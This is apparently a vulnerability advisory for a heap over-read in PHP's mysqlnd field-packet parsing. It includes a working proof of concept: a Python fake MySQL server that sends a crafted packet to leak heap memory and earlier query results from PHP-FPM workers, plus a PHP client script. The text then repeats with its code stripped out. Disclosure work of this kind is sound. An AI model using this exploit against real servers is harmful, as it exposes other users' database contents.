Summary
By connecting to a fake MySQL server or tampering with network packets and initiating a SQL Query, it is possible to abuse the function static enum_func_status php_mysqlnd_rset_field_read
when parsing MySQL fields packets in order to include the rest of the heap content starting from the address of the cursor of the currently read buffer.
Using PHP-FPM which stays alive between request, and between two different SQL query requests, as the previous buffer used to store received data from MySQL is not emptied and malloc
allocates a memory region which is very near the previous one, one is able to extract the response content of the previous MySQL request from the PHP-FPM worker.
Details
After the connection against a MySQL database is established, when initiating a SQL query, for example through mysqli_query
, the expected response from the server is of the following format :
- A
column count
packet, describing the number of fields that are expected to be received;
- As much as
fields packets
as there are fields to be transmitted;
- An
intermediate EOF
packet, telling it is the end of the "fields packets";
- As much as
row packet
as there are entries to be transmitted.
The MySQL fields
packets, are parsed by the static enum_func_status php_mysqlnd_rset_field_read
defined in /ext/mysqlnd/mysqlnd_wireprotocol.c
.
Here are the interesting parts :
static enum_func_status
php_mysqlnd_rset_field_read(MYSQLND_CONN_DATA * conn, void * _packet)
{
MYSQLND_PACKET_RES_FIELD *packet = (MYSQLND_PACKET_RES_FIELD *) _packet;
MYSQLND_ERROR_INFO * error_info = conn->error_info;
MYSQLND_PFC * pfc = conn->protocol_frame_codec;
MYSQLND_VIO * vio = conn->vio;
MYSQLND_STATS * stats = conn->stats;
MYSQLND_CONNECTION_STATE * connection_state = &conn->state;
const size_t buf_len = pfc->cmd_buffer.length;
size_t total_len = 0;
zend_uchar * const buf = (zend_uchar *) pfc->cmd_buffer.buffer;
const zend_uchar * p = buf;
const zend_uchar * const begin = buf;
char *root_ptr;
zend_ulong len;
MYSQLND_FIELD *meta;
...
// We learn here that it is not supposed to support COM_FIELD_LIST anymore.
if (ERROR_MARKER == *p) {
/* Error */
p++;
BAIL_IF_NO_MORE_DATA;
php_mysqlnd_read_error_from_line(p, packet->header.size - 1,
packet->error_info.error, sizeof(packet->error_info.error),
&packet->error_info.error_no, packet->error_info.sqlstate
);
DBG_ERR_FMT("Server error : (%u) %s", packet->error_info.error_no, packet->error_info.error);
DBG_RETURN(PASS);
} else if (EODATA_MARKER == *p && packet->header.size < 8) {
/* Premature EOF. That should be COM_FIELD_LIST. But we don't support COM_FIELD_LIST anymore, thus this should not happen */
DBG_ERR("Premature EOF. That should be COM_FIELD_LIST");
php_error_docref(NULL, E_WARNING, "Premature EOF in result field metadata");
DBG_RETURN(FAIL);
}
...
// Parsing logic of the field packet
...
/*
def could be empty, thus don't allocate on the root.
NULL_LENGTH (0xFB) comes from COM_FIELD_LIST when the default value is NULL.
Otherwise the string is length encoded.
*/
if (packet->header.size > (size_t) (p - buf) &&
(len = php_mysqlnd_net_field_length(&p)) &&
len != MYSQLND_NULL_LENGTH)
{
BAIL_IF_NO_MORE_DATA;
DBG_INF_FMT("Def found, length " ZEND_ULONG_FMT, len);
meta->def = packet->memory_pool->get_chunk(packet->memory_pool, len + 1);
memcpy(meta->def, p, len);
meta->def[len] = '\0';
meta->def_length = len;
p += len;
}
}
We can read in the second code block that COM_FIELD_LIST
is not supported anymore. However, after the packet is parsed, the third code block tries to parse a def
fields which is supposed to define the default values. However, it is used for COM_FIELD_LIST
requests, as per the MySQL documentation.
Using a specifically crafted packet, we can enter the last code block, by :
- Adjusting the size of the packet header to read the malicious data;
- Adding a length field at the end which is not equal to
MYSQLND_NULL_LENGTH
- Adding a byte, so that macro
BAIL_IF_NO_MORE_DATA
, which verifies if ((p - begin) > packet->header.size))
doesn't redirect the control flow.
In this code block:
len
now contains our arbitrary length value;
BAIL_IF_NO_MORE_DATA
is then called, however p
, the cursor on the buffer, has not been modified for now and the macro is not called anymore until the end of the function;
- A memory area of size
len + 1
is allocated and the address is assigned to meta->def
, which is returned to the end user;
meta->def
is filled up with len
bytes, read from p
.
However, p
points to a buffer that is (p - pfc->cmd_buffer.buffer)
bytes length, and pfc->cmd_buffer.buffer
points to a memory area of 4096 bytes. As len
can be decoded as a uint_32t
, its value can be much more higher, allowing to over-read pfc->cmd_buffer.buffer
.
This result in adding to the MySQL server response the remaining data contains in the buffer, and the data on the heap up to len - (4096 - (p - pfc->cmd_buffer.buffer)))
.
As the buffer used to store the MySQL
response is not emptied after each request after being deallocated, and memory allocation with the libc
function malloc
almost everytime allocate a chunk located very close from the previous allocated memory area, one is able to retrieve content from earlier SQL queries by taking advantage of PHP-FPM workers, which continues running between requests and hold onto some contextual data.
During our tests, we were able to extract the content of previous SQL Query response from the memory of the PHP-FPM Worker.
PoC
-
Start PHP-FPM with a worker pool of one worker;
-
Start a regular MySQL server with some data to be queried from;
-
Start a fake MySQL server that replies with the minimum required data and a malicious field packet
by:
- Adding the number of bytes we want to extract, encoded on 4 bytes;
- Adding some filler (1 byte) data so that
BAIL_IF_NO_MORE_DATA;
doesn't exit the current control flow;
- Modifying the packet length according to the added data.
-
Make a request against the fake server: some data are extracted like authentication method and some of the used salt to authenticate;
-
Make a legit request;
-
Make a request against the fake server again, data from the previous response are added to the content.
The PHP script I used :
<?php
$port = intval($_GET["port"], 10);
$servername = "";
$username = "";
$password = "";
$conn = mysqli_init();
$conn->real_connect($servername, $username, $password, 'audit', $port, '');
$result = $conn->query("SELECT * from users");
$all_fields = $result->fetch_fields();
var_dump($result->fetch_all());
echo(get_object_vars($all_fields[0])["def"]);
?>
A Python script that can be used as a fake server :
#!/usr/bin/env python
import socket
ADDRESS = '127.0.0.1'
PORT = 3307
class Packet(dict):
def __setattr__(self, name: str, value: str | bytes) -> None:
self[name] = value
def __repr__(self):
return self.to_bytes()
def to_bytes(self):
return b"".join(v if isinstance(v, bytes) else bytes.fromhex(v) for v in self.values())
class MySQLPacketGen():
@property
def server_ok(self):
sg = Packet()
sg.full = "0700000200000002000000"
return sg
@property
def server_greetings(self):
sg = Packet()
sg.packet_length = "580000"
sg.packet_number = "00"
sg.proto_version = "0a"
sg.version = b'5.5.5-10.5.18-MariaDB\x00'
sg.thread_id = "03000000"
sg.salt = "473e3f6047257c6700"
sg.server_capabilities = 0b1111011111111110.to_bytes(2, 'little')
sg.server_language = "08" #latin1 COLLATE latin1_swedish_ci
sg.server_status = 0b000000000000010.to_bytes(2, 'little')
sg.extended_server_capabilities = 0b1000000111111111.to_bytes(2, 'little')
sg.auth_plugin = "15"
sg.unused = "000000000000"
sg.mariadb_extended_server_capabilities = 0b1111.to_bytes(4, 'little')
sg.mariadb_extended_server_capabilities_salt = "6c6b55463f49335f686c643100"
sg.mariadb_extended_server_capabilities_auth_plugin = b'mysql_native_password'
return sg
@property
def server_tabular_query_response(self):
qr1 = Packet() #column count
qr1.packet_length = "010000"
qr1.packet_number = "01"
qr1.field_count = "01"
qr2 = Packet() #field packet
qr2.packet_length = "180000"
qr2.packet_number = "02"
qr2.catalog_length_plus_name = "0164"
qr2.db_length_plus_name = "0164"
qr2.table_length_plus_name = "0164"
qr2.original_t = "0164"
qr2.name_length_plus_name = "0164"
qr2.original_n = "0164"
qr2.canary = "0c"
qr2.charset = "3f00"
qr2.length = "0b000000"
qr2.type = "03"
qr2.flags = "0350"
qr2.decimals = "000000"
qr3 = Packet() #intermediate EOF
qr3.full = "05000003fe00002200"
qr4 = Packet() #row packet
qr4.full = "0400000401350174"
qr5 = Packet() #response EOF
qr5.full = "05000005fe00002200"
return (qr1, qr2, qr3, qr4, qr5)
class MySQLConn():
def __init__(self, socket: socket):
self.pg = MySQLPacketGen()
self.conn, addr = socket.accept()
print(f"[*] Connection from {addr}")
def send(self, payload, message=None):
print(f"[*] Sending {message}")
self.conn.send(payload)
def read(self, bytes_len=1024):
data = self.conn.recv(bytes_len)
if (data):
print(f"[*] Received {data}")
def close(self):
self.conn.close()
def send_server_greetings(self):
self.send(self.pg.server_greetings.to_bytes(), "Server Greeting")
def send_server_ok(self):
self.send(self.pg.server_ok.to_bytes(), "Server OK")
def send_server_tabular_query_response(self):
self.send(b''.join(s.to_bytes() for s in self.pg.server_tabular_query_response), "Tabular response")
def tabular_response_read_heap(m: MySQLConn):
rh = m.pg.server_tabular_query_response
# Length of the packet is modified to include the next added data
rh[1].packet_length = "1e0000"
# We add a length field encoded on 4 bytes which evaluates to 65536. If the process crashes because
# the heap has been overread, lower this value.
rh[1].extra_def_size = "fd000001" # 65536
# Filler
rh[1].extra_def_data = "aa"
trrh = b''.join(s.to_bytes() for s in rh)
m.send_server_greetings()
m.read()
m.send_server_ok()
m.read()
m.send(trrh, "Malicious Tabular Response [Extract heap through buffer overread]")
m.read(65536)
def main():
with socket.create_server((ADDRESS, PORT), family=socket.AF_INET, backlog=1) as server:
while(True):
msql = MySQLConn(server)
tabular_response_read_heap(msql)
msql.close()
main()
Other problems
This is unfortunately the only place where such over-read is possible. After thorough investigation, following places have been found with a similar problem:
- RESP packet upsert filename
- OK packet message
- RESP packet for stmt row data
- ps_fetch_from_1_to_8_bytes
- ps_fetch_float
- ps_fetch_double
- ps_fetch_time
- ps_fetch_date
- ps_fetch_datetime
- ps_fetch_string
- ps_fetch_bit
- RESP packet for query row data (just possible overflow on 32bit)
Impact
In order to exploit this vulnerability, one needs to be able to control the address of the MySQL target or execute its own script using the context on an existing PHP-FPM worker pool.
The heap content, starting from some bytes after the beginning of the buffer used to stores MySQL response can be extracted and send back to the user that initiates a SQL Query.
For example, during our tests, we were able to extract the content of the previous SQL query response.
Example scenario
You're a hosting provider and you offer a bunch of services like managed databases and VPS's (not uncommon).
As a hosting provider, you may want to offer tools to your users to manage databases, something like phpmyadmin (or alike) (not uncommon). As a user, you have the choice of setting up a database yourself on a VPS hosted by that hosting provider. You could setup a malicious database server. Many different people may use the database management software, but that software connects to many different database servers; including the malicious one you set up. Your malicious database server can now trick that database management software (that different users use) to leak data of other users.
Summary
By connecting to a fake MySQL server or tampering with network packets and initiating a SQL Query, it is possible to abuse the function
static enum_func_status php_mysqlnd_rset_field_read
when parsing MySQL fields packets in order to include the rest of the heap content starting from the address of the cursor of the currently read buffer.Using PHP-FPM which stays alive between request, and between two different SQL query requests, as the previous buffer used to store received data from MySQL is not emptied and
malloc
allocates a memory region which is very near the previous one, one is able to extract the response content of the previous MySQL request from the PHP-FPM worker.Details
After the connection against a MySQL database is established, when initiating a SQL query, for example through
mysqli_query
, the expected response from the server is of the following format :column count
packet, describing the number of fields that are expected to be received;fields packets
as there are fields to be transmitted;intermediate EOF
packet, telling it is the end of the "fields packets";row packet
as there are entries to be transmitted.The MySQL
fields
packets, are parsed by thestatic enum_func_status php_mysqlnd_rset_field_read
defined in/ext/mysqlnd/mysqlnd_wireprotocol.c
.Here are the interesting parts :
We can read in the second code block that
COM_FIELD_LIST
is not supported anymore. However, after the packet is parsed, the third code block tries to parse adef
fields which is supposed to define the default values. However, it is used forCOM_FIELD_LIST
requests, as per the MySQL documentation.Using a specifically crafted packet, we can enter the last code block, by :
MYSQLND_NULL_LENGTH
BAIL_IF_NO_MORE_DATA
, which verifies if((p - begin) > packet->header.size))
doesn't redirect the control flow.In this code block:
len
now contains our arbitrary length value;BAIL_IF_NO_MORE_DATA
is then called, howeverp
, the cursor on the buffer, has not been modified for now and the macro is not called anymore until the end of the function;len + 1
is allocated and the address is assigned tometa->def
, which is returned to the end user;meta->def
is filled up withlen
bytes, read fromp
.However,
p
points to a buffer that is(p - pfc->cmd_buffer.buffer)
bytes length, andpfc->cmd_buffer.buffer
points to a memory area of 4096 bytes. Aslen
can be decoded as auint_32t
, its value can be much more higher, allowing to over-readpfc->cmd_buffer.buffer
.This result in adding to the MySQL server response the remaining data contains in the buffer, and the data on the heap up to
len - (4096 - (p - pfc->cmd_buffer.buffer)))
.As the buffer used to store the
MySQL
response is not emptied after each request after being deallocated, and memory allocation with thelibc
functionmalloc
almost everytime allocate a chunk located very close from the previous allocated memory area, one is able to retrieve content from earlier SQL queries by taking advantage of PHP-FPM workers, which continues running between requests and hold onto some contextual data.During our tests, we were able to extract the content of previous SQL Query response from the memory of the PHP-FPM Worker.
PoC
Start PHP-FPM with a worker pool of one worker;
Start a regular MySQL server with some data to be queried from;
Start a fake MySQL server that replies with the minimum required data and a malicious
field packet
by:BAIL_IF_NO_MORE_DATA;
doesn't exit the current control flow;Make a request against the fake server: some data are extracted like authentication method and some of the used salt to authenticate;
Make a legit request;
Make a request against the fake server again, data from the previous response are added to the content.
The PHP script I used :
A Python script that can be used as a fake server :
Other problems
This is unfortunately the only place where such over-read is possible. After thorough investigation, following places have been found with a similar problem:
Impact
In order to exploit this vulnerability, one needs to be able to control the address of the MySQL target or execute its own script using the context on an existing PHP-FPM worker pool.
The heap content, starting from some bytes after the beginning of the buffer used to stores MySQL response can be extracted and send back to the user that initiates a SQL Query.
For example, during our tests, we were able to extract the content of the previous SQL query response.
Example scenario
You're a hosting provider and you offer a bunch of services like managed databases and VPS's (not uncommon).
As a hosting provider, you may want to offer tools to your users to manage databases, something like phpmyadmin (or alike) (not uncommon). As a user, you have the choice of setting up a database yourself on a VPS hosted by that hosting provider. You could setup a malicious database server. Many different people may use the database management software, but that software connects to many different database servers; including the malicious one you set up. Your malicious database server can now trick that database management software (that different users use) to leak data of other users.